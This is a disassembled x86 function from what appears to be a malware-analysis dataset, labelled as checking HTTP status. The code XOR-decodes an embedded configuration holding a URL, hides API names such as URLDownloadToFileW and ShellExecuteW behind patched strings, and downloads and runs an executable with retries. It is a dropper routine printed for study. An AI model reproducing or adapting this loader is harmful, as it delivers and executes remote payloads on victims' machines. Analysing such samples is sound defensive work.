Function at 0x401f40
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414ef3
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x10400
call fcn.00405fa0
mov eax, dword [0x41d014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push str.k0rnel32.dll
lea ecx, [ebp - 0x1014c]
call fcn.00401b10
mov dword [ebp - 4], 0
push 1
lea ecx, [ebp - 0x1014c]
call fcn.00401e40
mov ecx, 0x65
mov word [eax], cx
mov dword [ebp - 0x101ec], 0
lea edx, [ebp - 0x1014c]
push edx
push 0x4161c4
lea eax, [ebp - 0x102e8]
push eax
call fcn.00401590
add esp, 0xc
mov dword [ebp - 0x10210], eax
mov ecx, dword [ebp - 0x10210]
mov dword [ebp - 0x1026c], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1026c]
call fcn.00404400
push eax
call fcn.00404ae0
add esp, 4
mov dword [ebp - 0x101ec], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x102e8]
call fcn.00401be0
push str.G0tModuleFileNameW
mov ecx, 0x41da04
call fcn.00401dc0
push 1
mov ecx, 0x41da04
call fcn.00401e40
mov edx, 0x65
mov word [eax], dx
push 0x41da04
lea eax, [ebp - 0x10288]
push eax
call fcn.004051b0
add esp, 8
mov dword [ebp - 0x10268], eax
mov ecx, dword [ebp - 0x10268]
mov dword [ebp - 0x10264], ecx
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x10264]
call fcn.004043c0
push eax
mov edx, dword [ebp - 0x101ec]
push edx
call fcn.00404ac0
add esp, 8
mov dword [ebp - 0x10260], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10288]
call fcn.00401b90
push 0x8000
lea eax, [ebp - 0x10014]
push eax
push 0
call dword [ebp - 0x10260]
push 0x4161f0
mov ecx, 0x41da1c
call fcn.00401dc0
mov dword [ebp - 0x10270], 0
mov byte [ebp - 4], 3
jmp 0x4020bc
mov dword [ebp - 4], 0
jmp 0x4020cc
mov ecx, 0x41da1c
call fcn.00404400
push eax
lea ecx, [ebp - 0x10014]
push ecx
push 0x41d9f8
call fcn.004096ee
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 2
push 0
mov edx, dword [0x41d9f8]
push edx
call fcn.00409c6b
add esp, 0xc
mov dword [ebp - 0x101d0], 0
mov eax, dword [0x41d9f8]
push eax
call fcn.0040a1dd
add esp, 4
mov dword [ebp - 0x101d0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x101d0]
add ecx, 1
push ecx
call fcn.00405d12
add esp, 4
mov dword [ebp - 0x1025c], eax
mov edx, dword [ebp - 0x1025c]
mov dword [ebp - 0x101c8], edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [0x41d9f8]
push eax
call fcn.0040a1e8
add esp, 4
mov ecx, dword [0x41d9f8]
push ecx
mov edx, dword [ebp - 0x101d0]
push edx
push 1
mov eax, dword [ebp - 0x101c8]
push eax
call fcn.00409901
add esp, 0x10
mov ecx, dword [ebp - 0x101c8]
add ecx, dword [ebp - 0x101d0]
mov byte [ecx], 0
lea ecx, [ebp - 0x1008c]
call fcn.00401b40
mov byte [ebp - 4], 5
push 0x4161c4
lea ecx, [ebp - 0x1008c]
call fcn.00401dc0
mov dword [ebp - 0x101dc], 0
jmp 0x4021f2
mov edx, dword [ebp - 0x101dc]
add edx, 1
mov dword [ebp - 0x101dc], edx
cmp dword [ebp - 0x101dc], 0x64
jge 0x402226
mov eax, dword [ebp - 0x101dc]
mov ecx, dword [ebp - 0x101d0]
lea edx, [ecx + eax - 0x5000]
mov eax, dword [ebp - 0x101dc]
mov ecx, dword [ebp - 0x101c8]
mov dl, byte [ecx + edx]
mov byte [ebp + eax - 0x1040c], dl
jmp 0x4021e3
xor eax, eax
mov word [ebp - 0x101d8], ax
mov ecx, dword [ebp - 0x101c8]
add ecx, dword [ebp - 0x101d0]
movzx edx, byte [ecx - 0x4f9c]
mov eax, dword [ebp - 0x101c8]
add eax, dword [ebp - 0x101d0]
movzx ecx, byte [eax - 0x4f9b]
shl ecx, 8
add edx, ecx
mov word [ebp - 0x101d8], dx
mov dword [ebp - 0x101e0], 0
jmp 0x40227c
mov edx, dword [ebp - 0x101e0]
add edx, 1
jmp 0x4c4788
movzx eax, word [ebp - 0x101d8]
cmp dword [ebp - 0x101e0], eax
jge 0x4022f1
mov ecx, dword [ebp - 0x101e0]
add ecx, dword [ebp - 0x101d0]
mov edx, dword [ebp - 0x101c8]
movzx ecx, byte [edx + ecx - 0x4f9a]
mov eax, dword [ebp - 0x101e0]
cdq
mov esi, 0x64
idiv esi
movzx edx, byte [ebp + edx - 0x1040c]
xor ecx, edx
mov byte [ebp - 0x101d1], cl
lea eax, [ebp - 0x1008c]
push eax
lea ecx, [ebp - 0x1008c]
call fcn.00401d50
movsx cx, byte [ebp - 0x101d1]
movzx edx, cx
push edx
lea ecx, [ebp - 0x1008c]
call fcn.00401f20
jmp 0x40226d
lea ecx, [ebp - 0x1002c]
call fcn.00401b40
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1005c]
call fcn.00401b40
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x10044]
call fcn.00401b40
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x100d4]
call fcn.00401b40
mov byte [ebp - 4], 9
lea eax, [ebp - 0x1008c]
push eax
lea ecx, [ebp - 0x1002c]
call fcn.00401d50
push str._0eneral_:
lea ecx, [ebp - 0x10164]
call fcn.00401b10
mov byte [ebp - 4], 0xa
push 1
lea ecx, [ebp - 0x10164]
call fcn.00401e40
mov ecx, 0x67
mov word [eax], cx
push 0
lea edx, [ebp - 0x10164]
push edx
push 0x4161c4
lea eax, [ebp - 0x102a0]
push eax
call fcn.00401590
add esp, 0xc
mov dword [ebp - 0x10258], eax
mov ecx, dword [ebp - 0x10258]
mov dword [ebp - 0x10254], ecx
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x10254]
call fcn.00404400
push eax
lea ecx, [ebp - 0x1002c]
call fcn.00404750
add eax, 0xa
push eax
push 0
lea ecx, [ebp - 0x1002c]
call fcn.004046c0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x102a0]
call fcn.00401be0
push 0
push 0x416210
lea ecx, [ebp - 0x1002c]
call fcn.00404750
add eax, 1
push eax
push 0
lea ecx, [ebp - 0x1002c]
call fcn.004046c0
push 0
push 0x416210
lea ecx, [ebp - 0x1002c]
call fcn.00404750
push eax
push 0
lea edx, [ebp - 0x102b8]
push edx
lea ecx, [ebp - 0x1002c]
call fcn.00405160
mov dword [ebp - 0x10250], eax
mov eax, dword [ebp - 0x10250]
push eax
lea ecx, [ebp - 0x1002c]
call fcn.00401c60
lea ecx, [ebp - 0x102b8]
call fcn.00401be0
push 0
push 0x416214
lea ecx, [ebp - 0x1002c]
call fcn.00404750
cmp eax, dword [0x4161a0]
je 0x402480
push 0x41621c
push 2
push 0
push 0x416214
lea ecx, [ebp - 0x1002c]
call fcn.00404750
push eax
lea ecx, [ebp - 0x1002c]
call fcn.00404ea0
jmp 0x40243f
lea ecx, [ebp - 0x1008c]
push ecx
lea ecx, [ebp - 0x1005c]
call fcn.00401d50
push 0x416220
lea ecx, [ebp - 0x1017c]
call fcn.00401b10
mov byte [ebp - 4], 0xc
push 1
lea ecx, [ebp - 0x1017c]
call fcn.00401e40
mov edx, 0x72
mov word [eax], dx
push 0
lea ecx, [ebp - 0x1017c]
call fcn.00404400
push eax
lea ecx, [ebp - 0x1005c]
call fcn.00404750
add eax, 0xb
push eax
push 0
lea ecx, [ebp - 0x1005c]
call fcn.004046c0
push 0
push 0x416210
lea ecx, [ebp - 0x1005c]
call fcn.00404750
add eax, 1
push eax
push 0
lea ecx, [ebp - 0x1005c]
call fcn.004046c0
push 0
push 0x416210
lea ecx, [ebp - 0x1005c]
call fcn.00404750
push eax
push 0
lea eax, [ebp - 0x102d0]
push eax
lea ecx, [ebp - 0x1005c]
call fcn.00405160
mov dword [ebp - 0x1024c], eax
mov ecx, dword [ebp - 0x1024c]
push ecx
lea ecx, [ebp - 0x1005c]
call fcn.00401c60
lea ecx, [ebp - 0x102d0]
call fcn.00401be0
push 0
push 0x416214
lea ecx, [ebp - 0x1005c]
call fcn.00404750
cmp eax, dword [0x4161a0]
je 0x402593
push 0x41621c
push 2
push 0
push 0x416214
lea ecx, [ebp - 0x1005c]
call fcn.00404750
push eax
lea ecx, [ebp - 0x1005c]
call fcn.00404ea0
jmp 0x402552
lea edx, [ebp - 0x1008c]
push edx
lea ecx, [ebp - 0x10044]
call fcn.00401d50
push str._0rl_:
lea ecx, [ebp - 0x10104]
call fcn.00401b10
mov byte [ebp - 4], 0xd
push 1
lea ecx, [ebp - 0x10104]
call fcn.00401e40
mov ecx, 0x75
mov word [eax], cx
push 0
lea ecx, [ebp - 0x10104]
call fcn.00404400
push eax
lea ecx, [ebp - 0x10044]
call fcn.00404750
add eax, 6
push eax
push 0
lea ecx, [ebp - 0x10044]
call fcn.004046c0
push 0
push 0x416210
lea ecx, [ebp - 0x10044]
call fcn.00404750
add eax, 1
push eax
push 0
lea ecx, [ebp - 0x10044]
call fcn.004046c0
push 0
push 0x416210
lea ecx, [ebp - 0x10044]
call fcn.00404750
push eax
push 0
lea edx, [ebp - 0x103a8]
push edx
lea ecx, [ebp - 0x10044]
call fcn.00405160
mov dword [ebp - 0x10224], eax
mov eax, dword [ebp - 0x10224]
push eax
lea ecx, [ebp - 0x10044]
call fcn.00401c60
lea ecx, [ebp - 0x103a8]
call fcn.00401be0
push 0
push 0x416214
lea ecx, [ebp - 0x10044]
call fcn.00404750
cmp eax, dword [0x4161a0]
je 0x4026a6
push 0x41621c
push 2
push 0
push 0x416214
lea ecx, [ebp - 0x10044]
call fcn.00404750
push eax
lea ecx, [ebp - 0x10044]
call fcn.00404ea0
jmp 0x402665
mov ecx, dword [ebp - 0x101c8]
mov dword [ebp - 0x101f0], ecx
mov edx, dword [ebp - 0x101f0]
push edx
call fcn.00405d1b
add esp, 4
cmp dword [ebp - 0x101f0], 0
jne 0x4026d6
mov dword [ebp - 0x10248], 0
jmp 0x4026ec
mov dword [ebp - 0x101c8], 0x8123
mov eax, dword [ebp - 0x101c8]
mov dword [ebp - 0x10248], eax
mov ecx, 2
imul edx, ecx, 0
lea eax, [ebp + edx - 0x10014]
push eax
lea ecx, [ebp - 0x10074]
call fcn.00401b10
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x10074]
call fcn.00404b20
lea ecx, [ebp - 0x10074]
call fcn.00404b20
lea ecx, [ebp - 0x10074]
call fcn.00404b20
lea ecx, [ebp - 0x10074]
call fcn.00404b20
push 0
call fcn.004059f0
add esp, 4
push eax
call fcn.0040a3b3
add esp, 4
push str._0_.exe
lea ecx, [ebp - 0x10074]
push ecx
lea edx, [ebp - 0x10300]
push edx
call fcn.004014d0
add esp, 0xc
mov dword [ebp - 0x10244], eax
mov eax, dword [ebp - 0x10244]
push eax
lea ecx, [ebp - 0x10074]
call fcn.00401c60
lea ecx, [ebp - 0x10300]
call fcn.00401be0
push str.u0lmon.dll
lea ecx, [ebp - 0x100d4]
call fcn.00401dc0
push 1
lea ecx, [ebp - 0x100d4]
call fcn.00401e40
mov ecx, 0x72
mov word [eax], cx
mov byte [ebp - 4], 0xf
jmp 0x4027b9
mov dword [ebp - 4], 0xe
jmp 0x4027c9
mov dword [ebp - 0x101f4], 0
lea ecx, [ebp - 0x100d4]
call fcn.00404400
push eax
call fcn.00404ae0
add esp, 4
mov dword [ebp - 0x101f4], eax
push str.U0LDownloadToFileW
lea ecx, [ebp - 0x10194]
call fcn.00401a20
mov byte [ebp - 4], 0x11
push 1
lea ecx, [ebp - 0x10194]
call fcn.00401e20
mov byte [eax], 0x52
mov dword [ebp - 0x101e8], 0
jmp 0x40282c
mov edx, dword [ebp - 0x101e8]
add edx, 1
mov dword [ebp - 0x101e8], edx
cmp dword [ebp - 0x101e8], 0x4b0
jge 0x40283a
jmp 0x40281d
lea ecx, [ebp - 0x10194]
call fcn.004043c0
push eax
mov eax, dword [ebp - 0x101f4]
push eax
call fcn.00404ac0
add esp, 8
mov dword [ebp - 0x10208], eax
mov dword [ebp - 0x101f8], 0
lea ecx, [ebp - 0x100a4]
call fcn.00401b40
mov byte [ebp - 4], 0x12
push str.S0ell
lea ecx, [ebp - 0x100a4]
call fcn.00401dc0
push str.32.dll
lea ecx, [ebp - 0x100a4]
push ecx
lea edx, [ebp - 0x10318]
push edx
call fcn.004014d0
add esp, 0xc
mov dword [ebp - 0x10240], eax
mov eax, dword [ebp - 0x10240]
push eax
lea ecx, [ebp - 0x100a4]
call fcn.00401c60
lea ecx, [ebp - 0x10318]
call fcn.00401be0
mov dword [ebp - 0x101e4], 0
jmp 0x4028dd
mov ecx, dword [ebp - 0x101e4]
add ecx, 1
mov dword [ebp - 0x101e4], ecx
cmp dword [ebp - 0x101e4], 0x3e8
jge 0x4028eb
jmp 0x4028ce
push 1
lea ecx, [ebp - 0x100a4]
call fcn.00401e40
mov edx, 0x68
mov word [eax], dx
lea ecx, [ebp - 0x100a4]
call fcn.00404400
push eax
call fcn.00404ae0
add esp, 4
mov dword [ebp - 0x101f8], eax
push str.S0ellExecuteW
lea ecx, [ebp - 0x101ac]
call fcn.00401a20
mov byte [ebp - 4], 0x13
push 1
lea ecx, [ebp - 0x101ac]
call fcn.00401e20
mov byte [eax], 0x68
lea ecx, [ebp - 0x101ac]
call fcn.004043c0
push eax
mov eax, dword [ebp - 0x101f8]
push eax
call fcn.00404ac0
add esp, 8
mov dword [ebp - 0x10204], eax
push str.O0e32.dll
mov ecx, 0x41da34
call fcn.00401dc0
mov dword [ebp - 0x101fc], 0
push 1
mov ecx, 0x41da34
call fcn.00401e40
mov ecx, 0x6c
mov word [eax], cx
mov ecx, 0x41da34
call fcn.00404400
push eax
call fcn.00404ae0
add esp, 4
mov dword [ebp - 0x101fc], eax
push str.C0Initialize
lea ecx, [ebp - 0x101c4]
call fcn.00401a20
mov byte [ebp - 4], 0x14
push 1
lea ecx, [ebp - 0x101c4]
call fcn.00401e20
mov byte [eax], 0x6f
lea ecx, [ebp - 0x101c4]
call fcn.004043c0
push eax
mov edx, dword [ebp - 0x101fc]
push edx
call fcn.00404ac0
add esp, 8
mov dword [ebp - 0x1023c], eax
push 0
call dword [ebp - 0x1023c]
mov dword [ebp - 0x101cc], 1
jmp 0x402a0d
mov eax, dword [ebp - 0x101cc]
add eax, 1
mov dword [ebp - 0x101cc], eax
cmp dword [ebp - 0x101cc], 0x190
jge 0x402e70
cmp dword [ebp - 0x101cc], 0xa
jne 0x402a41
call fcn.0040a392
cdq
mov ecx, 0x5e
idiv ecx
test edx, edx
jl 0x402a41
mov dword [0x41da00], 1
cmp dword [ebp - 0x101cc], 0x59
jne 0x402b46
cmp dword [0x41da00], 1
jne 0x402b46
mov dword [0x41da00], 0
push 0
push 0
lea edx, [ebp - 0x10074]
push edx
push 0x4161c4
lea eax, [ebp - 0x10348]
push eax
call fcn.00401590
add esp, 0xc
mov dword [ebp - 0x10238], eax
mov ecx, dword [ebp - 0x10238]
mov dword [ebp - 0x10230], ecx
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x10230]
call fcn.00404400
push eax
lea edx, [ebp - 0x10044]
push edx
lea eax, [ebp - 0x1002c]
push eax
lea ecx, [ebp - 0x10330]
push ecx
call fcn.00401410
add esp, 0xc
mov dword [ebp - 0x1022c], eax
mov edx, dword [ebp - 0x1022c]
mov dword [ebp - 0x10228], edx
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x10228]
call fcn.00404400
push eax
push 0
call dword [ebp - 0x10208]
test eax, eax
je 0x402afd
mov dword [ebp - 0x10200], 1
jmp 0x402b07
mov dword [ebp - 0x10200], 0
mov al, byte [ebp - 0x10200]
mov byte [ebp - 0x101d2], al
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x10330]
call fcn.00401be0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x10348]
call fcn.00401be0
movzx ecx, byte [ebp - 0x101d2]
test ecx, ecx
je 0x402b46
mov dword [0x41da00], 1
cmp dword [ebp - 0x101cc], 0xc8
jne 0x402bc5
cmp dword [0x41da00], 1
je 0x402bc5
push str.o0en
lea ecx, [ebp - 0x10134]
call fcn.00401b10
mov byte [ebp - 4], 0x17
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 1
lea ecx, [ebp - 0x10134]
call fcn.00401e40
mov edx, 0x70
mov word [eax], dx
push 0xa
push 0
push 0
lea ecx, [ebp - 0x10074]
call fcn.00404400
push eax
lea ecx, [ebp - 0x10134]
call fcn.00404400
push eax
push 0
call dword [ebp - 0x10204]
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x10134]
call fcn.00401be0
cmp dword [ebp - 0x101cc], 0xc8
jne 0x402d8a
cmp dword [0x41da00], 1
jne 0x402d8a
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea ecx, [ebp - 0x100bc]
call fcn.00401b40
mov byte [ebp - 4], 0x18
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push str._0xceptions_bug
lea ecx, [ebp - 0x100bc]
call fcn.00401dc0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 1
lea ecx, [ebp - 0x100bc]
call fcn.00401e40
mov ecx, 0x45
mov word [eax], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea ecx, [ebp - 0x100ec]
call fcn.00401b40
mov byte [ebp - 4], 0x19
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push str.P0eloaderCannotDownloadFile
lea ecx, [ebp - 0x100ec]
call fcn.00401dc0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 1
lea ecx, [ebp - 0x100ec]
call fcn.00401e40
mov edx, 0x72
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea eax, [ebp - 0x100ec]
push eax
lea ecx, [ebp - 0x100bc]
push ecx
lea edx, [ebp - 0x1002c]
push edx
lea eax, [ebp - 0x10378]
push eax
call fcn.00401410
add esp, 0xc
mov dword [ebp - 0x10234], eax
mov ecx, dword [ebp - 0x10234]
mov dword [ebp - 0x10214], ecx
mov byte [ebp - 4], 0x1a
mov edx, dword [ebp - 0x10214]
push edx
lea eax, [ebp - 0x10360]
push eax
call fcn.004013d0
add esp, 0xc
mov dword [ebp - 0x10218], eax
mov ecx, dword [ebp - 0x10218]
push ecx
lea ecx, [ebp - 0x100bc]
call fcn.00401c60
lea ecx, [ebp - 0x10360]
call fcn.00401be0
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x10378]
call fcn.00401be0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push str.o0en
lea ecx, [ebp - 0x1011c]
call fcn.00401b10
mov byte [ebp - 4], 0x1b
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 1
lea ecx, [ebp - 0x1011c]
call fcn.00401e40
mov edx, 0x70
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xa
push 0
push 0
lea ecx, [ebp - 0x100bc]
call fcn.00404400
push eax
lea ecx, [ebp - 0x1011c]
call fcn.00404400
push eax
push 0
call dword [ebp - 0x10204]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1011c]
call fcn.00401be0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x100ec]
call fcn.00401be0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x100bc]
call fcn.00401be0
cmp dword [ebp - 0x101cc], 0x98
jne 0x402e52
cmp dword [0x41da00], 1
jne 0x402e52
mov dword [0x41da00], 0
push 0
push 0
lea ecx, [ebp - 0x10074]
call fcn.00404400
push eax
lea eax, [ebp - 0x10044]
push eax
lea ecx, [ebp - 0x1005c]
push ecx
lea edx, [ebp - 0x10390]
push edx
call fcn.00401410
add esp, 0xc
mov dword [ebp - 0x1021c], eax
mov eax, dword [ebp - 0x1021c]
mov dword [ebp - 0x10220], eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x10220]
call fcn.00404400
push eax
push 0
call dword [ebp - 0x10208]
test eax, eax
je 0x402e18
mov dword [ebp - 0x1020c], 1
jmp 0x402e22
mov dword [ebp - 0x1020c], 0
mov cl, byte [ebp - 0x1020c]
mov byte [ebp - 0x101d3], cl
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x10390]
call fcn.00401be0
movzx edx, byte [ebp - 0x101d3]
test edx, edx
je 0x402e52
mov dword [0x41da00], 1
push 0x4161c4
mov ecx, 0x41da4c
call fcn.00401dc0
mov dword [0x41d9fc], 0x4161c4
jmp 0x4029fe
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x101c4]
call fcn.00401b90
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x101ac]
call fcn.00401b90
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x100a4]
call fcn.00401be0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x10194]
call fcn.00401b90
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x10074]
call fcn.00401be0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x10104]
call fcn.00401be0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1017c]
call fcn.00401be0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x10164]
call fcn.00401be0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x100d4]
call fcn.00401be0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x10044]
call fcn.00401be0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1005c]
call fcn.00401be0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1002c]
call fcn.00401be0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1008c]
call fcn.00401be0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1014c]
call fcn.00401be0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00405f8b
mov esp, ebp
pop ebp
ret